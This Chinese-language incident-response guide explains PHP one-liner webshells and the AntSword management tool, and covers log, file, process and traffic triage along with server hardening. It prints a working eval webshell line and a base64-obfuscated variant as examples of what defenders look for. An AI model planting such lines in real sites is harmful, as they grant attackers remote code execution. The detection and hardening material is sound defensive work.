ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

一句话木马与蚁剑:WebShell攻击的排查与防御实战指南

一句话木马与蚁剑:WebShell攻击的排查与防御实战指南

上周接了一个客户系统的应急响应,应用日志里翻到一堆异常POST请求,配合数据库里的可疑文件一确认——一句话木马,用的就是蚁剑。这两个词放到一起,懂的人都明白,站点已经不是被"打了一下"那么简单了,而是被人从里面开了门,对方随时可以进来搬东西。

这篇文章不说怎么去攻击别人,而是从防守方的视角,把一句话木马是什么、蚁剑在攻击链条里扮演什么角色、文件落到磁盘后怎么排查、规则该怎么写、系统该怎么加固,完整讲一遍。文章里所有代码和命令都是识别和清理用的,不是教人构造payload。无论你是刚入门的运维、写业务代码的研发,还是刚开始做安全建设的小团队负责人,按照这个思路过一遍,至少能搞清楚一件事:当你的服务器上出现了一个可疑文件,接下来应该做什么,不做什么。

1. 一句话木马的本质与常见形态

1.1 一句话木马的运行机制

先解决最基础的问题:什么是"一句话木马"?我的理解是,它是一个极简的代码执行后门。一般就是一个很小的文件,几行甚至一行代码,作用只有一个——接收外部传过来的参数,然后在服务器上执行一段动态代码。

拿最常见的PHP形态来说,它的核心逻辑非常直白:

<?php @eval($_POST['x']); ?>

这一行代码在服务端做了什么?$_POST['x']是从HTTP请求里取一个参数,eval是把参数内容当作PHP代码来执行。也就是说,攻击者往这个文件POST一段PHP代码,这段代码就会直接运行在服务器上,权限等同于Web服务进程的权限。

很多人第一次看懂这行代码都会倒吸一口凉气,因为这相当于你服务器上挂了一个"任意代码执行"的接口。类比一下:一个正常的Web应用,是你告诉程序"帮我查个数据,按这个模板显示出来";而一句话木马,是你直接给服务器写了一张空白的即时贴——你能往上写什么,它就能执行什么。措辞不严谨一点叫后门,严谨地说,这就是远程代码执行漏洞的载体。

这一类后门不只有PHP版本。ASP、ASP.NET、JSP、Python、Node.js生态里都存在对应的"一句话"形态。拿JSP来说,常见的是一个List或者内存对象里塞入自定义类,再通过反射调用方法执行任意命令;ASP则经常配合Execute、Eval这类内置函数。不同语言,思路一样——找到一个能把字符串变成代码执行的点,再接收外部输入。

理解这个机制对防守很重要。因为它意味着,任何安全检测都不能只查"文件里有没有eval字符串",更要理解业务本身有没有"动态执行外部输入"的代码路径。

1.2 正常代码里的可疑入口

只看原始的一句代码很容易识别。麻烦的是,攻击者不会傻到直接放一个eval($_POST['x'])在网站根目录等你来扫。他们通常会做两类事:隐藏和变形。

隐藏,指的是把木马放进看起来完全正常的文件里。比如某个PHP框架的入口文件最后面跟了一行,看起来是定义变量:

$payload = base64_decode("ZXZhbCgkX1BPU1RbJ3gnXSk="); assert($payload);

这一段实际效果跟上面那句话一模一样,但如果不仔细看,会以为是某个性能优化或者什么模块注册逻辑。还有一种常见隐藏方式是放在图片文件后面,再用文件包含漏洞去加载它。这就是为什么经常出现"上传目录里有图片马,然后主站还有个文件包含漏洞"的组合拳。

变形,指的是把代码混淆后再进入eval。比如字符串拼接、多次编解码、动态函数名调用,甚至把代码写到数据库里,再由正常业务逻辑某个点带出来执行。这种变形不是给防守方看的,是给正则和扫描器看的——静态扫描很容易被这些手段绕开。

所以排查的时候,我的习惯是:先看文件有没有被修改,再看新增文件都分布在哪儿,最后才看代码内容。单纯扫描"文件里有没有危险函数",只能解决低水平的攻击者。

1.3 攻击者为什么偏爱这种后门

一句话木马之所以经久不衰,核心就一个词:性价比高。文件小、部署简单、适配性强。对于攻击者来说,在攻破一个Web应用之后,往上传一个文件,再配合一个管理工具,就等于拿到了一个随时可用的远程控制Channel。这个Channel不依赖系统服务,不依赖计划任务,Web服务在跑它就在跑。而且大多数Web目录都有写权限,找一处隐蔽位置太容易了。

从生命周期来看,一句话木马往往是攻击者整个行动链路的"地基"。他们靠着这个入口进来之后,会做三件事:第一,拿走系统权限,建新的账号;第二,往内网横向走,探测更多机器;第三,在上面挂挖矿、发垃圾邮件、盗取数据,甚至直接把整个站点变成傀儡。理解这个生命周期之后,你就明白"找到木马文件删掉"不代表事情结束了,真正的风险在于攻击者用这个入口做了多少事。

2. 蚁剑:攻击链里的关键节点

2.1 蚁剑到底是什么

拿到了后门,手动发一个HTTP请求去执行命令已经很不方便了。于是出现了各种"WebShell管理工具",大家熟悉的还有菜刀、冰蝎、哥斯拉。挑蚁剑来讲,是因为它在实际案例中出现频率很高,跨平台、插件多、上手容易。

蚁剑本身是一个跨平台的WebShell管理客户端,支持PHP、JSP、ASP、ASPX、自定义协议等主流类型。攻击者只需要在工具里填上"一句话木马的URL和连接密码",它就会自动完成下面这些事:向服务端发送经过编码的请求,执行命令;列出目录和文件,上传下载;连接数据库;甚至可以起一个代理隧道,把攻击者的电脑和服务器内网打通。

在攻击链条里的角色可以这样理解:一句话木马是门锁上留下的一把钥匙,蚁剑则是拿着钥匙的人的"智能钥匙扣"——它不只是开锁,还能在进门之后自动整理房子里有哪些柜子、抽屉里的东西怎么搬走。技术上它做的事情并不新鲜,就是把复杂的编码、加解密、命令组装过程封装成图形化界面,攻击成本被大大降低了。

2.2 流量侧的几个识别特征

从防守视角,比文件特征更有价值的是流量特征。因为不管攻击者把木马文件藏得多深、代码混淆得多厉害,只要他连接使用,就必然产生网络请求。而蚁剑的请求在默认情况下,还是有明显的模式。

先说服务端响应。蚁剑默认在PHP场景下会先发送一段固定格式的载荷初始化连接,里面包含@ini_set("display_errors","0");、@set_time_limit(0);这类代码,目的是关闭报错、取消执行时间限制。我抓包看到这些请求的时候基本就可以判定:这不是正常业务流量。

再说客户端特征。早期版本的蚁剑User-Agent默认是antSword/v2.1,很多人没改UA就直接用了。后来版本有随机UA,也有伪装成Chrome的,所以UA只能作为辅助线索。真正稳定的是请求体和响应体的编码模式——默认情况下,蚁剑会把服务端返回的数据做一层Base64编码再输出,所以在响应里经常能看到一大段Base64字符串,配合Content-Type: application/octet-stream这个特征组合出现。

还有一个很关键的检测点:蚁剑的流量可以进行加密传输,尤其是配合各类编码器插件之后,常规WAF特征几乎全部失效。这时候单纯依赖请求body里的关键字匹配已经不够了,需要做行为分析——比如同一个源IP,反复向一个脚本发起POST请求,请求体长度异常,响应数据长度波动大且包含编码内容,这种请求组合本身就是异常信号。

2.3 攻击者用蚁剑通常会做哪些事

了解工具能力,是为了预判攻击者的下一步动作。我在实际处置中发现,蚁剑上线后,攻击者最常见的动作是有固定套路的。

第一步永远是探测权限和环境。虚拟终端里执行whoami、id、uname -a、ip addr,看看当前用户是什么权限,机器在哪个网段。第二步是查看有没有可读的敏感文件,最常见的是数据库配置、备份文件、源码包。第三步是权限提升,如果当前用户权限不够,会尝试提权;提不了就直接在当前业务权限下搬数据。第四步才是横向移动或者留持久化后门。

从防守角度,只要你看到"虚拟终端+数据库配置读取+源码打包下载"这三个动作在短时间内连续出现,就可以确定这不是误报,而是一次正在进行的完整攻击。报警优先级应该拉到最高。这几个动作对应的日志和流量痕迹,是需要重点布防的检测点。

3. 一句话木马的排查方法与实操流程

3.1 从访问日志里找第一道线索

开头提到的客户系统,最初发现异常就是因为日志里某个脚本的POST请求频率不对劲。正常情况下,一个业务脚本POST一次就够了,但那个脚本半天之内被同一个IPPOST了十几次,每次请求体长度还不一样。这个信号足够触发人工排查。

排查访问日志有几个顺手的小命令。想找特定时间段内POST请求最多的IP和URL,可以这样:

grep "POST" /var/log/nginx/access.log | awk '{print $1, $7}' | sort | uniq -c | sort -rn | head -20

这个命令会把日志里所有POST请求按"来源IP+请求路径"分组计数,排在前面的就是重点嫌疑对象。如果日志量大,可以用grep先过滤日期:

grep "2025-06-15" /var/log/nginx/access.log | grep "POST" | awk '{print $1, $7}' | sort | uniq -c | sort -rn

看到某个URL的POST数量明显异常后,再进一步看这个URL到底接收了什么参数。Nginx日志默认不记录POST body,所以需要确认是否配置了log_format加上$request_body。如果没配,别慌,去后面的WAF日志、网关日志或者全流量审计系统里翻原始请求。

还有一个容易被忽略的点:攻击者在连接蚁剑的时候,往往会在同一个会话里发起连续请求,而且请求之间间隔短、规律强。正常的搜索引擎爬虫或者用户操作很难有这种节奏。所以在日志里看到单个IP对不常见URL的高频POST,就值得顺着往下摸。

3.2 文件系统的地毯式排查

日志定位到可疑URL之后,下一步是去文件系统里把木马文件找出来。不同的人习惯不一样,我的排查顺序是这样的。

先按时间找。如果知道攻击发生的大概时间窗口,直接用find定位最近修改过的脚本文件:

find /www/wwwroot -type f \( -name "*.php" -o -name "*.jsp" -o -name "*.asp" \) -mtime -7 -print

这条命令找出最近7天内有过修改的Web脚本文件。攻击者一般会在上传后修改时间戳来伪装,所以这个结果只能作为参考,不能作为唯一依据。更有效的是对比文件快照,如果你有配置管理工具或者云监控的文件完整性插件,直接对比基线,任何新增和修改都会直接暴露。

再按目录找重点区域。一句话木马最爱去的地方:上传目录、静态资源目录、备份目录、临时目录、/tmp、模板缓存目录。这些目录通常允许写入,也更容易被扫描器忽略。检查的时候我习惯输出完整权限和属主信息:

ls -la /www/wwwroot/uploads find /www/wwwroot -type f -perm -002 -name "*.php"

上面第二行命令是找出所有"其他用户可写"的PHP文件,这类文件往往是攻击者利用目录权限写入的。正常业务里,不应该有大量全局可写的PHP文件存在。

找到可疑文件后,先不要急着删,确认内容再处置。一个简单但实用的检查方式:用语言自带的命令做语法检查。比如PHP的php -l可以检查语法,如果文件能正常通过语法检查,多半是精心构造过的。然后手工看一下文件头部和尾部,动态执行类的代码要么在最前,要么在最后。把文件重命名加个.bak备份,再移到隔离目录,比直接删更稳妥——后续溯源还要用。

3.3 用扫描器配合人工研判

很多人一上来就开WebShell扫描器,扫完没结果就宣布"服务器是干净的"。这是很危险的习惯。我在实际项目里见过太多例子:静态扫描器扫不出内存马、扫不出加密马、扫不出隐藏在正常代码里的逻辑后门。

扫描器有用,但要把心态调整好——它是线索生成器,不是结论生成器。目前主流的WebShell扫描工具有两类:一类是静态特征匹配,扫描文件内容里的危险函数、可疑字符串;另一类是语义分析,通过AST语法树判断"外部输入是否流入了危险函数"。语义分析类的检出能力明显更强,但消耗资源也大,我一般是先用静态扫描做全量初筛,再对命中文件和最近修改过的文件做语义级分析。

对于只扫描磁盘文件的情况,扫描器帮不了内存马和请求级后门。内存马的检测需要结合Java Agent、RASP或者进程内存dump来搞,复杂度完全是另一个量级。所以扫描器扫完只能说"磁盘上暂时没发现已知特征",不等于安全。

3.4 系统行为侧的反向排查

文件找到了、删掉了,还能继续往下挖吗?能。更关键的是去看攻击者用蚁剑在系统里做了什么事。

优先查这么几个点:

# 查看正在运行的进程,重点关注异常用户下的进程 ps aux # 查看计划任务 crontab -l cat /etc/crontab ls /var/spool/cron/ # 查看当前登录用户和历史登录记录 last lastlog # 查看shell历史 cat ~/.bash_history

蚁剑的虚拟终端每次执行命令都是通过Web服务进程发起的,所以这些命令很多不会出现在用户的bash_history里。更靠谱的是看系统级日志,比如/var/log/secure、/var/log/auth.log里有没有异常账号登录,/var/log/messages里有没有可疑的cron执行记录,数据库的查询日志里有没有批量导出动作。

另外一个实战技巧是看进程树。如果Web服务进程下有异常的子进程产生,比如php-fpm下面挂了一个bash进程,这基本可以判定是WebShell正在执行命令。用ps -ef --forest看进程树,是最直观的方式。

4. 防御与加固实战

4.1 应用层该堵的洞

处理完单次入侵,真正的挑战在于防止下次再进来。应用层加固永远是第一道防线。

先说PHP场景。很多团队会直接去禁用危险函数,但这里有个容易被忽视的细节:eval并不是函数,而是语言构造器,disable_functions是管不到它的。所以不加区分地往disable_functions里塞eval,看起来配置了,实际没生效。真正能禁用的是assert、system、exec、passthru、shell_exec、proc_open、popen这类函数。但断言函数在现代PHP版本里本身已经失效,系统命令类函数如果业务确实没用到,禁掉问题不大。对于eval这类禁用不了的情况,更实际的做法是部署RASP类防护,在运行时去拦。

然后是open_basedir。这个配置可以限制PHP脚本能访问的文件目录范围,把Web应用的活动范围圈在业务目录里。比如一个电商站点,PHP就不应该能读到系统上的/etc/shadow。配置很简单:

open_basedir = /www/wwwroot/example.com/:/tmp/

注意后面要加上/tmp/,否则很多依赖临时文件的框架会报错。

上传目录的权限分离也很重要。如果上传目录和执行目录混在一起,攻击者传一个PHP文件上去就直接能解析。正确的做法是:静态文件目录(uploads、images、static)完全禁止执行脚本。Nginx下可以用location配合:

location ~* ^/uploads/.*\.(php|php5|phtml)$ { deny all; }

Apache环境下则对对应Directory关闭ExecCGI和AddHandler。这套配置的价值在于:即使攻击者突破上传功能把木马丢了上来,它也只能躺在那里,不能被解析执行。

4.2 流量检测规则怎么做

文件查完了,漏洞补完了,接下来是规则层。不管你的流量检测设备是WAF、IDS还是NDR,规则的核心都是识别"人话",而不是死匹配一个字符串。因为攻击者只要改一下编码方式,字符串特征就失效了。

但蚁剑流量里仍然有稳定的行为指纹。我自己写规则会从三个维度入手。第一,解码之后再看特征:对POST请求体先做URL解码再做Base64解码,然后查找是否存在@ini_set、set_time_limit、$_POST、$_REQUEST这类动态执行前常用的组合。第二,看请求目的:短时间里同一个目标脚本接收了来自同一个源的多次POST,且响应是二进制或者编码数据,这个行为本身就是异常。第三,看User-Agent和Cookie的配合:正常浏览器会带一串完整的UA特征,而工具类UA要么很简洁、要么伪造成不完整的浏览器UA,配合其他异常信号一起判断。

规则写完之后要跑测试集。我先用正常的业务流量跑一遍,确认没有误报;再用模拟攻击流量跑一遍,确认能报警。这两步都过了,才敢放到生产环境。我见过太多规则直接一把梭上线,结果第一天上线就把线上正常业务给拦了。

4.3 主机层防线不能省

应用层和流量层都做了,主机层仍然是最后一道保险。

文件完整性监控值得认真做。能在主机上装Agent的,开文件监控;装不了的,至少把关键Web目录定期哈希比对,做成定时任务。这样一句话木马落地的瞬间,哪怕没有触发任何流量规则,文件变化本身就是一个报警信号。

日志的集中收集也很关键。攻击者在拿下服务器之后的第一件事往往是清日志。如果日志只存在本地,他们一条命令就能让所有痕迹消失。把日志实时转发到独立的日志中心,权限单独管控,Web服务和系统账号都动不了那边的文件,溯源就有底了。常见的方案有基于syslog的集中日志,或者轻量级的Vector、Filebeat采集,再配一个Graylog或者ELK。规模小的时候,哪怕是最简单的syslog远端转发也比什么都没有强。

最后是权限最小化。Web服务运行账号不应该有整个网站目录的写权限,数据库账号不应该有文件读写权限,服务器上不应该还留着一年前创建但是已经没人用的SSH密钥。这些条目看起来平淡,却是绝大多数入侵得以发生的前提。把攻击路径上的每一步都收窄一点,攻击者落地后能做的事情就少一大截。

4.4 定期做一次实战演练

防御配置完了,不验证等于没有。我会建议团队每隔几个月做一次小规模的演练:拔掉一台可以牺牲的测试机,部署一套跟线上同版本的Web环境,安排内部的人充当攻击方,用公开的WebShell工具模拟一次完整的"写入后门→连接→执行命令→导出数据"链条。防守方的任务是确认:规则有没有报警,日志有没有留存,监控有没有通知到位,响应人员有没有在合理时间内定位到问题。

演练不是为了让攻击方赢,而是防止"规则上线但没人知道它响过"。我在实际项目里碰到过不少情况:规则配了一大堆,但从来没验证过,真出事那天流量告警、主机告警、文件告警全都没响,因为规则格式根本不对,或者日志接收那边就没有在监听那个端口。一次演练能把这类问题全部暴露出来。

5. 常见问题与排查技巧实录

5.1 后门为什么清理不干净

这是应急响应里被问得最多的问题。文件删了,过了几天又出现了,其实背后通常是三种情况。

第一种,攻击者根本不止放了那一个木马。有人会同时放两三个,一个放在常规目录里当诱饵,一个藏在缓存目录里,一个是配置了定时任务重新生成的。你只删了诱饵,当然没过几天又出现。处置的关键是"清剿"而不是"删除"——全盘扫描、代码审计、计划任务检查、账号检查要同步做完。

第二种,攻击入口没有堵上。木马是从哪里上传的?是上传功能没做后缀校验,还是历史遗留的文件包含漏洞?如果只删木马不补漏洞,对方换一个文件名再传一次就回来了。这也是为什么我一直强调,应急响应的最终目标是"找到攻击路径并封堵路径",而不是"找到并删除可疑文件"。

第三种,攻击者留了内存马。进程都没有重新启动,Java应用的内存里一直挂着一个恶意Listener,磁盘上干干净净什么都没有,但是流量里还是能看到非业务请求。这种情况的排查要靠内存分析和RASP,比磁盘检测复杂得多。

5.2 日志被攻击者清掉了怎么办

对方把/var/log/下的东西删了个七七八八,是不是就没办法溯源了?不是。

优先去看有没有独立的日志接收端。如果之前配了远端日志中心,系统日志被删了也无所谓。没有的话,从流量层入手:云厂商的负载均衡、安全组流日志、边界防火墙的会话日志,这些日志都在设备侧或者云端,不经过业务系统,攻击者删不掉。域名解析记录也可以看,如果对方通过蚁剑的代理往内网其他机器发起连接,DNS解析记录里会有蛛丝马迹。

这些资料不一定能完整还原攻击链路,但足够拼出大致的攻击时间和入口路径。关键是,以后别再把日志只丢在本地。

5.3 扫描器报了一堆误报怎么办

用扫描器的人最头疼的问题:从某知名CMS框架的include文件里扫出了"动态执行"告警,打开代码一看,这其实就是框架自带的模板解析逻辑。这种误报怎么处理?

先看代码的作用域。危险函数接收的参数是硬编码的字符串还是外部输入?如果是硬编码,动态执行的逻辑是写死的,风险就很低。如果再配合代码审计工具做数据流分析,看外部输入有没有可能经过滤后进入危险函数,判断会更准确。再不行,放到隔离环境里跑一遍,看它的实际行为是读取文件、执行命令还是访问网络。行为是骗不了人的。

扫描器报出来的东西,给我们的价值是"这里值得看一下",而不是"这里就是后门"。以行为为准,以数据流为准,不要以字符串特征为准,这是我一直强调的研判思路。

5.4 应急响应时的操作顺序

处置过一次之后,我总结了一套固定的操作顺序,分享出来供参考。

  1. 先做隔离,别急着操作。把受害服务器从外网断开,或者只保留管理网段访问,防止攻击者在你排查的时候做二次破坏。直接在原机上执行各种命令有可能触发对方的监控,高手甚至会提前埋了"发现问题就删库"的逻辑。
  2. 再做取证,先保全后分析。把Web目录打包、数据库备份、日志原文件拷走,存到独立介质上。这一步的核心原则是"尽可能保留原始现场",别在取证之前执行修复动作。
  3. 再做清剿,优先处理风险最高的通道。修改所有密码和密钥,包括Web后台、数据库、SSH、云控制台。然后全面扫描文件、清理后门、补上漏洞。
  4. 最后是复盘,输出时间线。从最初入侵到发现隔了多久、攻击者做了什么、哪些检测手段失效了、下一次怎么提前发现。把这四步做完,一次应急才算真正闭环。

写在最后的一点体会

处理这类问题时间长了,我最大的感受是:大多数被入侵的系统,不是查不出来,而是设防太晚。等网站被挂马、流量超标、用户数据泄露才想起看日志,能做的只剩下止损和溯源。所谓"教程"有很多,但真正值得花时间的,是把每个环节怎么做、为什么这么做,扎扎实实过一遍。先把文件权限收好、上传目录禁执行、日志及时收走、规则定期验证,做到这四件事,就已经能挡住一大半不费心思的攻击。剩下的,靠持续观察和积累。

这次客户系统处置完之后,我把排查过程中用到的命令和规则都整理成了文档。以后再遇到类似问题,直接照着流程走,少踩很多坑。希望这篇文章里的内容也能变成你的排查底稿。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进